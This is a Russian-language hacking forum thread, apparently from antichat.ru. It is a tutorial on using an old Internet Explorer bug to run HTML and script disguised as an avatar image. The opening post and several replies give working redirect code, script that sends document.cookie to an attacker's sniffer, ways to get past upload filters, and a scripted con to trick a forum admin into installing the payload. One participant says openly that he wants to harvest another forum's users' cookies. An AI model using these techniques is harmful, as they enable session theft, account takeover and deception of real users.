![]() |
Баг в ИЕ (отображение html в изображениях). Как юзать.
Статью начал писать давно, но все что-то руки не доходили закончить. А тут - приболел малость. Вообщем - появилось n-e количество времени.
О чем: бага в ИЕ с отображением html-кода содержащегося в изображении известна давно и многим. Но, что-то, как-то публично не очень юзалась. А может просто забыли? Ну вот и вспомним: --------------------------------------------- Если ничего не помогает, а выполнить произвольный html-код в браузере жертвы очень хочется, тогда остается последняя надежда - IE (Internet Explorer) у жертвы. Которым она бороздит просторы инета и портит вам нервы (канешна портит. иначе зачем вам она была бы нужна?) -- Справка для тех у кого нет Интернета: внедрение произвольного html-кода на страницу сайта которую смотрит жертва называют CSS. Так как уже есть такая аббревиатура и чтобы не путать с CSS - Каскадными Таблицами Стилей, такую хрень стали называть XSS. А если мы можем внедрять любой html-код на страницу которую жертва посещает и там зарегистрирована, то мы имеем возможность: получить сессию, логин, пароль (хэш пароля), сменить в анкете или настройках какие нить данные (если нам это позволительно), ну и совершать иные действия от имени жертвы (но без ее ведома и согласия). Если, например, брать он-лайн игры - то можем перевести деньги другому игроку. При условии, что на перевод не стоит ввод пароля или не требуется ввод контрольных цифр или к.слова (которое с нормальным то зрением фиг прочитаешь), или не требуется всяческих подтверждений. Ну, или, выложить на Рынок всю амуницию жертвы по минимальной цене и потом все скупить. Вариантов очень много. -- Где использовать: Практически везде, где есть возможность загрузки изображений (аватарок, фоток с ваших пьянок-посиделок и т.п.). Т.е. - форумы, чаты, службы знакомств, некоторые почтовые сервисы, он-лайн игры, etc... Что нужно: немножко везения, ИЕ у жертвы, steep-by-steep который ниже. --------------------------------------------- steep-by-steep:Чтобы было более понятнее, надо показывать на примере чего-либо (какого-нить сайта). Выберем этот сайт-пример. Лучше - Форум. Чтобы выбор был чисто случайным и не было обвинений в предвзятости, используем маленький кусочек кода на JavaScript, который нам случайно (считай RND) сгенерит адрес этого сайта-примера: ... Код:
<script language="JavaScript">Запускаем... Ждем... Получаем: xakep.ru Хм... Забавно и неожиданно получилось... :) Ну Ок. Идем тогда туда и смотрим что там есть. А там есть Форум (http://forum.xakep.ru/). Этот Форум (Ideal BB) примечателен тем, что в куках хранит пароль в открытом виде... -- Начинаем готовиться: 1.На некоторое время оставляем Форум и лезем на сайт narod.ru регистрировать себе там якобы "взломанный" нами сайт (для этого примера). Я зарегистрировал http://www.protivhackerov.narod.ru 2.Открываем Блокнот, и пишем там следующий html-код: ... Код:
<body onloаd="javаscript:document.locatiоn.replаce('http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru/index.htm')">После чего сохраняем, например, под именем bad_avatar.gif (т.е. это у нас будет изображение содержащее html-код) 3.Заходим на сайт-пример (у нас это http://forum.xakep.ru/) и регистрируемся там под любым ником. После прохождения регистрации, заходим в "Мой профиль"-"Редактировать профайл" там чуть ниже "Загрузить свой аватар на сервер." жмем "Обзор", выбираем наш bad_avatar.gif, жмем кнопку "Загрузить"... Вместо Аватарки будет показываться крестик (что правильно. у нас же там не изображение, а html-код). После всех этих процедур тыкаем правой кнопкой мышки в Аватарку, выбираем свойства и копируем полный путь (URL) нашей аватарки. 4.Открываем Блокнот (или в чем ты там изгаляешься?), и пишем там этот html-код (как урезанный пример): ... Код:
<html><head><title>Сайт взломан!</title></head><body>Типа взломал</body></html>Сохраняем как index.htm 5.Опять открываем Блокнот и пишем (ctrl+c/ctrl+v) там это: ... Код:
<html><head></head><body>Сохраняем как index.html ... 6.Заходим в "Мастерскую" Народ_Ру (или по ftp) и закачиваем на сайт АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_СА ТА.narod.ru (у нас это http://www.protivhackerov.narod.ru) эти две странички: index.htm и index.html -- Справка для тех у кого нет Интернета: Мы создали две индекс-странички. Одна (index.htm) - наш якобы "взломанный" сайт, вторая (index.html) у нас будет промежуточным звеном. Почему два индекса? Потому что на Народ_Ру если зайти по ссылке http://www.protivhackerov.narod.ru отобразиться страница index.html Т.е. тоже самое если бы мы зашли так: http://www.protivhackerov.narod.ru/index.html если же не будет страницы index.html то сервер будет искать в корне сайта страницу index.htm И нам они нужны именно две с одинаковыми названиями (разными расширениями), чтобы как то "замылить" глаз нашей жертве. ... На странице index.html (в конце) после тэга </html> мы ставим <noscript><noscript><plaintext><plaintext> чтобы "убить" баннер Народ_Ру, который предательски показывается в правом верхнем углу. ... 7.Все. У нас все готово, настроено и прописано. Теперь топаем на Форум, регистрируем себе новое и нормальное имя, выставляем нормальный Аватар, лезем и создаем новую тему. Типа: "Аллоха, Гавайи! Народ, зацените, плиз, мой самый первый и очччень грамотный дефейс! http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru И отписывайтесь здесь, как он Вам?" -- Справка для тех у кого нет Интернета:После того, как многие полезут заценивать твой грамотный дефейс, будет происходить вот что: Когда они зайдут по ссылке http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru, то им загрузиться страница index.html на которой проверяется какой Браузер у посетителя. Если не ИЕ - то облом`с и перекидываем его на страницу index.htm (непосредственно страница нашего "взломанного" сайта). Если же ИЕ, то посетитель перекидывается на наш загруженный bad_avatar.gif и после отсылки cookie к тебе на снифер, перекидывается на страницу index.htm где и лицезреет твой дефейс... -- Ну а дальше ты топаешь и смотришь логи своего снифера, и радостно собираешь урожай... --------------------------------------------- Справка для тех у кого нет Интернета (типа переменные): http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru - адрес липового сайта, куда будем заманивать жертву bad_avatar.gif - наше псевдоизображение содержащее html-код НАЗВАНИЕ_АВАТАРКИ_УЖЕ_ЗАГР ЖЕНОЙ_НА_СЕРВЕР.gif - это новое название нашей Аватарки bad_avatar.gif, но уже загруженной (при загрузке - может поменяться имя) http://АДРЕС_СНИФЕРА.ru/snifer.php - адрес вашего снифера, который будет принимать и заботливо складировать переданные ему куки index.htm - непосредственно страница с липовым Дефейсом index.html - страница, которая у нас играет роль перекрестка (редирект). Если ИЕ - то на аватарку (куки передаются сниферу) и потом на index.htm, если не ИЕ - то сразу на index.htm steep-by-steep - просто название. шаг-за-шагом (по-шагово) -- Справка для тех у кого нет Интернета: Ты лучше скажи - как ты вообще сюда попал, коли инета у тебя нету? ;) --------------------------------------------- С Уважением, censored! [antichat.ru] --------------------------------------------- p.s. сайт xakep.ru был выбран случайно (код JS вверху) =) p.s.s. все было проверено на Форуме xakep.ru, но с единственной лишь разницей, что тема (как в п.7) не создавалась. + на настоящий момент загрузка Аватарок что-то вообще не работает. p.s.s.s. Вот уже загруженная Аватарка (не bad_avatar.gif, а другая - как пример) покажет alert-ом куки: http://forum.xakep.ru/avatars/avatar15.gif (!!!) p.s.s.s.s. В JS-код как мог выставил "защиту от дурака". Не маленькие уже. Сами разберетесь. :) |
Спасибо интересная статья , я даже на принтере напичатал его, но у меня маленкий вопрос, это всё делается на одной страничке индекс,или саздаём несколько страниц, для каждого кода и скрипта?.
|
2Tem там же написано блин=)
2cencored! спасибо, отлиная статья! |
Хорошая статья, могу только добавить, что часто на форумах аватара со скриптом не загружается с харда-но отлично загружается с ссылки. И ещё один способ залить такую "картинку" на форум-отправить её самому себе в личном сообщении.
|
Да...хотелось бы дополнить, что со следующими расширениями тож прокатывает описанная фича:avi,bmp,gif,jpeg,jpg,mpeg,mpg,ogg,pdf,png ,rar,txt если с ними не ассоциированны невиндовые проги...
Например адрес типа http://server.com/foto_from_party.rar ничего подозрительного не вызывает... |
Пеши исчо:)
Кста сервак отдает Content-Type: image/gif но ИЕ типо "умный" и недоверяет)) Да на хакере.ру Server: Microsoft-IIS/6.0 - упал пацтул))))))))) |
Цитата:
сорри за оффтоп |
Бага действительно старая, а в статье мне понравилась интересная реализация. Довольно неплохо.
Кстати и в моей пропаченой версии осла скрипт тоже выполняется и вот вопрос сам билл, что думает об этом? Считают ли разроботчики выполнение скрипта в картинке ошибкой?=) |
Чта думает бил знаит тока сам бил, с вапросами к ниму))
Лична я предпалагаю что не тока нают но и счетают эта не багом а фичей)) Боле таго такое павидение задумывалась с самага начала. Кодеры из мелкасофт ведь ни зря счетают сибя самемы умными )) |
Цитата:
В принципе такое поведение браузера довольно логично. Он не обращает внимания на расширение файла, потому как оно ваще может быть любым. Например адрес http://blablabla.ru/image.php?index=2434 тоже может быть картинкой, однако из расширения этого не видно. А вот то, что он игнорирует хидер HTTP запроса это уже не так хорошо. Но и здесь есть логика. Дело в том, что сам сервер может не знать что именно он отсылает. Все тот же скрипт http://blablabla.ru/image.php?index=2434 может как присылать в хидере информацию о типе данных, так и не присылать - все зависит от воли разработчика. Поэтому IE и не доверяет хидерам, а пытается парсить контент на ходу. Опера и мозиллы действуют проще - они тупо открывают файл в соответствии с инфой в хидере. Кстати более интересный вариант, чем просто замена картинки хтмлом - это совмещение картинки и ХТМЛ в одном файле. Дело в том, что некоторые форматы JPEG поддерживают т.н. метатеги - это символьные поля, в которых может содержаться информация о картинке или об авторе. В эти поля естественно можно внедрить и HTML. В таком случае IE воспринимает этот файл как HTML, в то время как он на самом деле является вполне корректной картинкой ))) (и свободно проходит сквозь различные фильтры, проверяющие контент). Кроме того, такой файл отображается в Опере как нормальная картинка)) |
Поэтому я всегда говорю - ИЕ самый юзерфрендли браузер, но у него из-за этого сурьезные проблемы с безопасностью
|
Статья супер мне понравилась а интресно можно шелл загрузить?
|
Цитата:
|
Непознаёт ету картинку ни один форум мне:
The avatar filetype must be .jpg, .gif or .png |
Mina, загружай аватару с сервера- т.е. залей картинку на какой-нибудь сайт(ну или если нет-то тогда создай на том же холме), а потом загружай картинку с сервера, например в phpbb2 есть такая функция.
|
А в панбб не работает!!! Матюкается что не подерживает тип. Кто его учил внутрь файла лезть и че-то там читать?
Кстати, по какому принципу действует PHP код:
|
По разрешению файла он определяется.
И что с того, что ты допишешь хтмл в конце? |
Ну да можно подумать ) но было интересно почетать много таких способов было )))
|
фуфло да не болие! Ну какой Ламер будет кликать на аватару с кодом причём где он видет что в картинке плюсик???
С таким же ходом можно просто ссылку на страницу со сниффером кинуть. Бред как вы такие статьи воощбе писать любити меня просто поражает это! |
Цитата:
Цитата:
Цитата:
|
2Фантастика по твоему js код может сработь при клике?)) аффтар жжёт))
Цитата:
|
Цитата:
Не знаю, у меня работает... |
Цитата:
|
Цитата:
|
Конечно, этот способ требует СИ, но если уж не работает ничто другое, то можно и его поюзать...
|
Цитата:
Цитата:
Цитата:
Цитата:
Да я и не стремлюсь никого обгонять или догонять. Мне и так комфортно. |
S phpbb kukisy letyat na ura :)
<noscript> )))) |
мммммммммммммммм
Цитата:
Тогда правильно ли я сделал аватар? <body onloаd="javаscript:document.locatiоn.replаce(' http://www.мой сайт.narod.ru/index.htm')"> <script language="JavаScript"> img = nеw Imаge(); img.srс = "http://antichat.org/s/tyui.gif/?"+document.cookie; </script> И как можно проверить это? Если допустим я открою такой аватар в IE то должен ли я попасть в лог снифера? |
Цитата:
Что такое снифер? (в понимании для использования XSS) Это просто скрипт, который все что ему передали - записывает в лог. Передашь число - он число запишет: http://antichat.org/s/abcd.gif/?123, передашь куки - запишет куки. А ты уже потом сам зайдешь в лог снифера и глянешь - есть там что или нет. |
Я открываю его в Ie. но мне открывается просто страница с крестиком....
Иду смотреть лог снифера,там пусто... |
После того как загоняю аватарку на форум получаю такой урл [url]http://www.пупкин.com/forums/image.php?u=927&dateline=1134105672
Дальше делаю так <html><head></head><body> <script lаnguage="JavaScript"> <!-- if (navigаtor.appNamе=="Microsoft Internet Explorer") windоw.locаtion.href="http://www.пупкин .com/forums/image.php?u=927&dateline=1134105672"; else windоw.locаtion.hrеf="http://www.мой сайт.narod.ru/index.htm"; // --> </script></body></html><noscript><noscript><plаintext><plaintext> Вроде всё правильно…? |
А тебе надо именно с редиректом на другую страницу?
Может тебе проще? Лезешь на babiex.com, выбираешь откровенную фотку. В Фотошопе ее немного уменьшаешь и кадрируешь. Вообщем - делаешь нормальную аватарку. Дальше делаешь по принципу как тут: http://forum.xakep.ru/avatars/avatar15.gif Только вместо кода с alert впихиваешь img = nеw Imаge(); img.srс = "http://адрес_до_снифера.ru/snif.php?"+document.cookie; После чего отписываешь админу: "а на вашем форуме возможно в качестве аватарки использовать такое изображение? или тут есть цензура? если есть - то я тогда сменю. хотя мне бы и не хотелось, так как привык. спасибо." и даешь ссылку на аватарку. Цитата:
Цитата:
|
Да чего мне обижаться то... :) Я в этом деле полный чайник.Поэтому делаю всё по шаблону в твоей статье.Мне нужны куки с пользоателей одного форума.
Я про эту защиту от дурака уже сутки думаю :) Ну не догоняю я..... Я сделал всё так как в статье. Сделал реальную страницу и подставную... Башка уже трещит....:) |
=) там все очень и очень просто... подсказку дал - от ленивых.
вот ленивый читает статью и хочет повторить что там написано. как и что он будет делать? ну вот и сделай по другому. по-моему уже все подсказал |
Скажите где ошибка.Я не ленивый.Я тупой!
(лучше в личку) Текущее время 6:47. Всё заработало... :) Цитата:
|
Нет, в данном случае ты ленивый.
|
Ребята у меня тоже не получается =(
Пожалуйста помогите. Только большая прозьба не злитесь на меня. Ok? вот скрипт: Код:
<body onloаd="javаscript:document.locatiоn.replаce('http://сайт.ru')"> А обязательно ставить ";" после document.cookie ? |
Цитата:
Если было бы так легко - то зачем тогда народ заморачивается с куками? =) Хотя ты и можешь попробовать получить значения некоторых полей, либо вообще себе на снифер послать любую страницу (от имени пользователя) Если наобум, то надо "подделывать" его Форум. Способов и реализайия есть несколько. Будет время - я распишу по-шагово как это сделать на основе бага в изображениях. Или сам допетри - там не сложно! Также внимательно прочитай тут: http://www.forum.antichat.ru/thread11236.html Идеи никакие не появились? =) |
Цитата:
(ну и в настройках браузера проверь - не отключена ли у тебя переадресация) Ну если не получается залить, значит не получается залить. Потому что форум при заливке проверяет что ему заливают в качестве аватарки. Попробуй открыть любое изображение блокнотом, отмотай вниз и в самом конце поставить <script>alert()</script> Теперь пробуй залить. Опять не пущает? Попробуй изображение прилепить в тему. Смотри там при создании сообщения кнопку Обзор. Если не нашел, то пробуй так ссылку на изображение вставить. Вообщем пробуй не через кнопку Обзор, а через указания пути до изображения. Некоторые Форумы сами за тебя к себе закачают. Цитата:
... Цитата:
Цитата:
Или попробуй применить Си (но время потребуется): 1 - Зарегь сайт на Народ_Ру. 2 - Положи туда свое изображение: открыл изображение, отмотал, вставил код 3 - Лезь в настройки аватарки и укажи полную ссылку на него Народ_ру примечательный тем, что он не дает хостящие на нем изображения публиковать в других местах. Т.е. у тебя вместо аватарки будет отсутсвующий рисунок (с красным крестом). 4 - Теперь пиши Админу от имени голубоглазой девочки Маруси из деревни Нижние Васюки: извините, а можно Вам вопрос как сисадмину задать? Он: угук. я такой. тока круче! чё нада? Ты: Почему у всех на Форуме возле имени стоит рисунок, а у меня рисунок красным крестиком? Я сделала все так, как мне написали: мне прислали адрес рисунка которого я хотела, и я его вставила в поле URL... Но там на рисунке был бигимотик, а получается что крестик... Он наверняка сначала отпишет: грузи ее через кнопку Обзор. Ты (культурно): а не будете столь любезны подсказать, как ее загрузить? Он: сохрани изображение на комп, и потом загрузи. Ты: а как ее можно сохранить? Он: правой кнопкой, потом в настройки профиля, кнопка обзор... Ты: все. сохранила у себя. в папку Мои рисунки, но рядом с именем все-равно крестик. что я делаю не так? Если он не повеситься и не снесет нахрен этот Форум, он сам тебе скачает это изображение, выложит на сервак и тебе его пропишет в профиле. |
qazwsx
|
| Время: 21:52 |